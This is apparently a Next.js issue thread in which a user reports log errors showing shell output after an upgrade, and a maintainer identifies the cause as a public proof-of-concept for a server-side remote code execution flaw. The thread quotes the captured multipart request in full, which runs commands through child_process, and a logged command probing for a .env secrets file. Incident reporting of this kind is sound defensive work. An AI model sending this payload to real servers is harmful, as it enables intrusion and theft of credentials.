Redirect code being exploited? [email protected]/[email protected]

[gcb]

Summary

since dec 5th, our logs started to show lots of errors for redirect.

⨯ [Error: NEXT_REDIRECT] { digest: '12334\nMEOWWWWWWWWW' }

today, they started to show what looks like shell output, e.g.

⨯ [Error: NEXT_REDIRECT] { digest: 'wwwuser' }

(where wwwuser is what you would get if you ran whoami from the node process)

and then

⨯ [Error: Command failed: test -f .env && echo EXISTS | base64 -w 0] {

i'm having a hard time to trace back those requests yet.

We did upgrade next for reactshell to [email protected]/[email protected], even though we don't have the affected dependencies (npm list react-server-dom-parcel react-server-dom-turbopack react-server-dom-webpack; └── (empty)) in exactly one hour after the announcement.

Additional information

No response

Example

No response

[gcb]

sample request

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{\"then\":\"$B1337\"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

[icyJoseph]

Hiyo, is there any chance you preserve previous deployments? - That is the PoC payload being spammed at you, I bet ya the action header is x too.

Or perhaps your server (machine) is running some other client/service that's also exposed to the internet and under the hood, uses Next.js?

[icyJoseph]

I need to sign off soon - Could I ask you to route this to [email protected].

This email is listed here: https://vercel.com/kb/bulletin/react2shell#next-steps. I rather not make assumptions and loop in some more collaborators.

[gcb]

moving there. thanks!